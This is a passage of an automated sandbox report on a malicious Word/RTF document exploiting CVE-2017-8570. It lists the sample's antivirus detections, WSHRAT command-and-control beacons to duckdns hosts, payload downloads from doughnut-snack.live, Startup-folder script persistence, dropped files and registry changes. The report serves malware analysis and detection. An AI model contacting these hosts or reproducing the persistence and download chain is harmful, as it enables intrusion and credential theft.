  482. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  483.  
  484.  
  485. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  486.  
  487.  
  488. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  489.  
  490.  
  491. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  492.  
  493.  
  494. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  495.  
  496.  
  497. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  498.  
  499.  
  500. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  501.  
  502.  
  503. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  504.  
  505.  
  506. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  507.  
  508.  
  509. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  510.  
  511.  
  512. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  513.  
  514.  
  515. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  516.  
  517.  
  518. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  519.  
  520.  
  521. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  522.  
  523.  
  524. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  525.  
  526.  
  527. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  528.  
  529.  
  530. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  531.  
  532.  
  533. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  534.  
  535.  
  536. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  537.  
  538.  
  539. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  540.  
  541.  
  542. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  543.  
  544.  
  545. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  546.  
  547.  
  548. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  549.  
  550.  
  551. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  552.  
  553.  
  554. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  555.  
  556.  
  557. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  558.  
  559.  
  560. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  561.  
  562.  
  563. "http_request": "wscript.exe_InternetCrackUrlW_http://unknownsoft.duckdns.org:7744/is-ready"
  564.  
  565.  
  566. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  567.  
  568.  
  569. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  570.  
  571.  
  572. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  573.  
  574.  
  575. "http_request": "wscript.exe_InternetCrackUrlA_http://mikelsonallen300.duckdns.org"
  576.  
  577.  
  578. "http_request": "wscript.exe_InternetCrackUrlW_http://doughnut-snack.live/klplu.tar.gz"
  579.  
  580.  
  581. "http_request_path": "wscript.exe_HttpOpenRequestW_/klplu.tar.gz"
  582.  
  583.  
  584. "http_request": "wscript.exe_InternetCrackUrlA_http://doughnut-snack.live"
  585.  
  586.  
  587. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  588.  
  589.  
  590. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  591.  
  592.  
  593. "http_request": "wscript.exe_InternetCrackUrlA_http://mikelsonallen300.duckdns.org"
  594.  
  595.  
  596. "http_request": "wscript.exe_InternetCrackUrlW_http://doughnut-snack.live/bpvpl.tar.gz"
  597.  
  598.  
  599. "http_request_path": "wscript.exe_HttpOpenRequestW_/bpvpl.tar.gz"
  600.  
  601.  
  602. "http_request": "wscript.exe_InternetCrackUrlA_http://doughnut-snack.live"
  603.  
  604.  
  605. "http_request": "wscript.exe_InternetCrackUrlW_http://doughnut-snack.live/mapv.tar.gz"
  606.  
  607.  
  608. "http_request_path": "wscript.exe_HttpOpenRequestW_/mapv.tar.gz"
  609.  
  610.  
  611. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  612.  
  613.  
  614. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  615.  
  616.  
  617. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  618.  
  619.  
  620. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  621.  
  622.  
  623. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  624.  
  625.  
  626. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  627.  
  628.  
  629. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  630.  
  631.  
  632. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  633.  
  634.  
  635. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  636.  
  637.  
  638. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  639.  
  640.  
  641. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  642.  
  643.  
  644. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  645.  
  646.  
  647. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  648.  
  649.  
  650. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  651.  
  652.  
  653. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  654.  
  655.  
  656. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  657.  
  658.  
  659. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  660.  
  661.  
  662. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  663.  
  664.  
  665. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  666.  
  667.  
  668. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  669.  
  670.  
  671. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  672.  
  673.  
  674. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  675.  
  676.  
  677. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  678.  
  679.  
  680. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  681.  
  682.  
  683. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  684.  
  685.  
  686. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  687.  
  688.  
  689. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  690.  
  691.  
  692. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  693.  
  694.  
  695. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  696.  
  697.  
  698. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  699.  
  700.  
  701. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  702.  
  703.  
  704. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  705.  
  706.  
  707. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  708.  
  709.  
  710. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  711.  
  712.  
  713. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  714.  
  715.  
  716. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  717.  
  718.  
  719. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  720.  
  721.  
  722. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  723.  
  724.  
  725. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  726.  
  727.  
  728. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  729.  
  730.  
  731. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  732.  
  733.  
  734. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  735.  
  736.  
  737. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  738.  
  739.  
  740. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  741.  
  742.  
  743. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  744.  
  745.  
  746. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  747.  
  748.  
  749. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  750.  
  751.  
  752. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  753.  
  754.  
  755. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  756.  
  757.  
  758. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  759.  
  760.  
  761. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  762.  
  763.  
  764. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  765.  
  766.  
  767. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  768.  
  769.  
  770. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  771.  
  772.  
  773. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  774.  
  775.  
  776. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  777.  
  778.  
  779. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  780.  
  781.  
  782. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  783.  
  784.  
  785. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  786.  
  787.  
  788. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  789.  
  790.  
  791. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  792.  
  793.  
  794. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  795.  
  796.  
  797. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  798.  
  799.  
  800. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  801.  
  802.  
  803. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  804.  
  805.  
  806. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  807.  
  808.  
  809. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  810.  
  811.  
  812. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  813.  
  814.  
  815. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  816.  
  817.  
  818. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  819.  
  820.  
  821. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  822.  
  823.  
  824. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  825.  
  826.  
  827. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  828.  
  829.  
  830. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  831.  
  832.  
  833. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  834.  
  835.  
  836. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  837.  
  838.  
  839. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  840.  
  841.  
  842. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  843.  
  844.  
  845. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  846.  
  847.  
  848. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  849.  
  850.  
  851. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  852.  
  853.  
  854. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  855.  
  856.  
  857. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  858.  
  859.  
  860. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  861.  
  862.  
  863. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  864.  
  865.  
  866. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  867.  
  868.  
  869. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  870.  
  871.  
  872. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  873.  
  874.  
  875. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  876.  
  877.  
  878. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  879.  
  880.  
  881. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  882.  
  883.  
  884. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  885.  
  886.  
  887. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  888.  
  889.  
  890. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  891.  
  892.  
  893. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  894.  
  895.  
  896. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  897.  
  898.  
  899. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  900.  
  901.  
  902. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  903.  
  904.  
  905. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  906.  
  907.  
  908. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  909.  
  910.  
  911. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  912.  
  913.  
  914. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  915.  
  916.  
  917. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  918.  
  919.  
  920. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  921.  
  922.  
  923. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  924.  
  925.  
  926. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  927.  
  928.  
  929. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  930.  
  931.  
  932. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  933.  
  934.  
  935. "http_request": "wscript.exe_InternetCrackUrlW_http://mikelsonallen300.duckdns.org:50001/is-ready"
  936.  
  937.  
  938. "http_request_path": "wscript.exe_HttpOpenRequestW_/is-ready"
  939.  
  940.  
  941.  
  942.  
  943. "Description": "File has been identified by 36 Antiviruses on VirusTotal as malicious",
  944. "Details":
  945.  
  946. "MicroWorld-eScan": "Exploit.CVE-2017-8570.Gen"
  947.  
  948.  
  949. "FireEye": "Exploit.CVE-2017-8570.Gen"
  950.  
  951.  
  952. "CAT-QuickHeal": "Exp.RTF.CVE-2017-8570.A"
  953.  
  954.  
  955. "McAfee": "Exploit-CVE2017-0199.as"
  956.  
  957.  
  958. "Arcabit": "Exploit.CVE-2017-8570.Gen"
  959.  
  960.  
  961. "Baidu": "Win32.Exploit.HTML-Downloader.a"
  962.  
  963.  
  964. "Symantec": "Trojan.Mdropper"
  965.  
  966.  
  967. "Avast": "RTF:Downloader-F Trj"
  968.  
  969.  
  970. "ClamAV": "Rtf.Exploit.CVE_2017_8570-6596183-0"
  971.  
  972.  
  973. "Kaspersky": "Exploit.MSOffice.CVE-2017-8570.a"
  974.  
  975.  
  976. "BitDefender": "Exploit.CVE-2017-8570.Gen"
  977.  
  978.  
  979. "NANO-Antivirus": "Exploit.Rtf.Heuristic-rtf.dinbqn"
  980.  
  981.  
  982. "Tencent": "Exp.MSOffice.CVE-2017-8570.a"
  983.  
  984.  
  985. "Ad-Aware": "Exploit.CVE-2017-8570.Gen"
  986.  
  987.  
  988. "Sophos": "Exp/20178570-B"
  989.  
  990.  
  991. "F-Secure": "Exploit.EXP/CVE-2017-8570.Gen"
  992.  
  993.  
  994. "TrendMicro": "HEUR_RTFMALFORM"
  995.  
  996.  
  997. "McAfee-GW-Edition": "Exploit-CVE2017-0199.as"
  998.  
  999.  
  1000. "Emsisoft": "Exploit.CVE-2017-8570.Gen (B)"
  1001.  
  1002.  
  1003. "Cyren": "CVE-2017-0199.C.gen!Camelot"
  1004.  
  1005.  
  1006. "Jiangmin": "Trojan-Downloader.Script.fi"
  1007.  
  1008.  
  1009. "Avira": "EXP/CVE-2017-8570.Gen"
  1010.  
  1011.  
  1012. "MAX": "malware (ai score=86)"
  1013.  
  1014.  
  1015. "Antiy-AVL": "TrojanExploit/RTF.CVE-2017-8570"
  1016.  
  1017.  
  1018. "Microsoft": "Exploit:O97M/CVE-2017-0199.ZT"
  1019.  
  1020.  
  1021. "AhnLab-V3": "OLE/Cve-2017-8570"
  1022.  
  1023.  
  1024. "ZoneAlarm": "Exploit.MSOffice.CVE-2017-8570.a"
  1025.  
  1026.  
  1027. "GData": "Exploit.CVE-2017-8570.Gen (2x)"
  1028.  
  1029.  
  1030. "ALYac": "Exploit.CVE-2017-8570.Gen"
  1031.  
  1032.  
  1033. "TACHYON": "Suspicious/RTF.Script.Gen"
  1034.  
  1035.  
  1036. "Zoner": "Probably RTFObfuscationA"
  1037.  
  1038.  
  1039. "Rising": "Exploit.CVE-2017-8570!1.AFC6 (CLASSIC)"
  1040.  
  1041.  
  1042. "Ikarus": "Exploit.CVE-2017-11882"
  1043.  
  1044.  
  1045. "Fortinet": "MSOffice/CVE_2017_8570!exploit"
  1046.  
  1047.  
  1048. "AVG": "RTF:Downloader-F Trj"
  1049.  
  1050.  
  1051. "Qihoo-360": "virus.exp.20178570.a"
  1052.  
  1053.  
  1054.  
  1055.  
  1056. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  1057. "Details":
  1058.  
  1059. "target": "clamav:Rtf.Exploit.CVE_2017_8570-6596183-0, sha256:1a993a53a20c18d9372832e634bad0a19171e97b6070145b1009dec028bae404, type:ASCII text, with very long lines, with no line terminators"
  1060.  
  1061.  
  1062. "dropped": "clamav:Rtf.Exploit.CVE_2017_8570-6596183-0, sha256:1a993a53a20c18d9372832e634bad0a19171e97b6070145b1009dec028bae404 , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\Docs_f43a7bb1e11923feb94b42d16c172aba.doc, type:ASCII text, with very long lines, with no line terminators"
  1063.  
  1064.  
  1065.  
  1066.  
  1067. "Description": "Martian Subprocess Started By Office Process",
  1068. "Details":
  1069.  
  1070. "office_martian": "c:\\windows\\syswow64\\wscript.exe"
  1071.  
  1072.  
  1073. "office_martian": "c:\\windows\\syswow64\\wscript.exe"
  1074.  
  1075.  
  1076. "office_martian": "c:\\windows\\syswow64\\wscript.exe"
  1077.  
  1078.  
  1079. "office_martian": "c:\\windows\\syswow64\\wscript.exe"
  1080.  
  1081.  
  1082. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  1083.  
  1084.  
  1085. "office_martian": "c:\\windows\\syswow64\\taskkill.exe"
  1086.  
  1087.  
  1088. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  1089.  
  1090.  
  1091. "office_martian": "c:\\windows\\syswow64\\taskkill.exe"
  1092.  
  1093.  
  1094. "office_martian": "c:\\windows\\syswow64\\cmd.exe"
  1095.  
  1096.  
  1097. "office_martian": "c:\\windows\\syswow64\\taskkill.exe"
  1098.  
  1099.  
  1100.  
  1101.  
  1102. "Description": "Created network traffic indicative of malicious activity",
  1103. "Details":
  1104.  
  1105. "signature": "ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm Checkin 1"
  1106.  
  1107.  
  1108. "signature": "ET TROJAN WSHRAT CnC Checkin"
  1109.  
  1110.  
  1111. "signature": "ET TROJAN WSHRAT Credential Dump Module Download Command Inbound"
  1112.  
  1113.  
  1114.  
  1115.  
  1116.  
  1117. * Started Service:
  1118.  
  1119. * Mutexes:
  1120. "Global\\CLR_CASOFF_MUTEX",
  1121. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  1122. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  1123. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  1124. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  1125. "CicLoadWinStaWinSta0",
  1126. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  1127. "Local\\ZoneAttributeCacheCounterMutex",
  1128. "Local\\ZonesCacheCounterMutex",
  1129. "Local\\ZonesLockedCacheCounterMutex",
  1130. "Local\\!IETld!Mutex",
  1131. "Local\\ZonesCounterMutex",
  1132. "Global\\ADAP_WMI_ENTRY",
  1133. "Global\\RefreshRA_Mutex",
  1134. "Global\\RefreshRA_Mutex_Lib",
  1135. "Global\\RefreshRA_Mutex_Flag"
  1136.  
  1137.  
  1138. * Modified Files:
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_f43a7bb1e11923feb94b42d16c172aba.doc",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_f43a7bb1e11923feb94b42d16c172aba.doc",
  1141. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRFC5A5B1F5-8851-48A8-BE4C-2E03B85AF8CA.tmp",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\XZUIQB9XBIF9FT3.sct",
  1143. "\\??\\PIPE\\srvsvc",
  1144. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  1145. "C:\\Users\\user\\AppData\\Roaming\\svchost.js",
  1146. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  1147. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  1148. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  1149. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab771A.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar771B.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS6C3648AF-0152-4CEA-AA42-0DFF6E04C1ED.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\16589470.cvr",
  1154. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS5965BA62-2347-4F87-B362-F364B10C5720.tmp",
  1155. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS634FE2A9-0ECE-4BB8-AA4C-FD3E7B3E8B91.tmp",
  1156. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\LiveRecovery save of Docs_f43a7bb1e11923feb94b42d16c172aba.asd",
  1157. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  1158. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFC41AD3B882B9B691.TMP",
  1160. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1161. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS852699C8-C00F-4B66-A39D-8ABA640D770B.tmp",
  1162. "C:\\Users\\user\\AppData\\Roaming\\tCWhffcbXR.js",
  1163. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\tCWhffcbXR.js",
  1164. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.js",
  1165. "C:\\Users\\user\\AppData\\Roaming\\cmdc.cfg",
  1166. "C:\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb",
  1167. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edb.chk",
  1168. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.h",
  1169. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl.h",
  1170. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.ini",
  1171. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  1172. "\\??\\WMIDataDevice"
  1173.  
  1174.  
  1175. * Deleted Files:
  1176. "C:\\Users\\user\\AppData\\Roaming\\svchost.js",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab771A.tmp",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar771B.tmp",
  1179. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\LiveRecovery save of Docs_f43a7bb1e11923feb94b42d16c172aba.asd",
  1180. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  1181. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  1182. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS5965BA62-2347-4F87-B362-F364B10C5720.tmp",
  1183. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS634FE2A9-0ECE-4BB8-AA4C-FD3E7B3E8B91.tmp",
  1184. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1185. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS852699C8-C00F-4B66-A39D-8ABA640D770B.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_f43a7bb1e11923feb94b42d16c172aba.doc",
  1187. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS6C3648AF-0152-4CEA-AA42-0DFF6E04C1ED.tmp",
  1188. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.2092.16485468",
  1189. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.2092.16485468",
  1190. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.2092.16485468",
  1191. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edbtmp.log",
  1192. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl.h",
  1193. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.h"
  1194.  
  1195.  
  1196. * Modified Registry Keys:
  1197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\n=!",
  1198. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
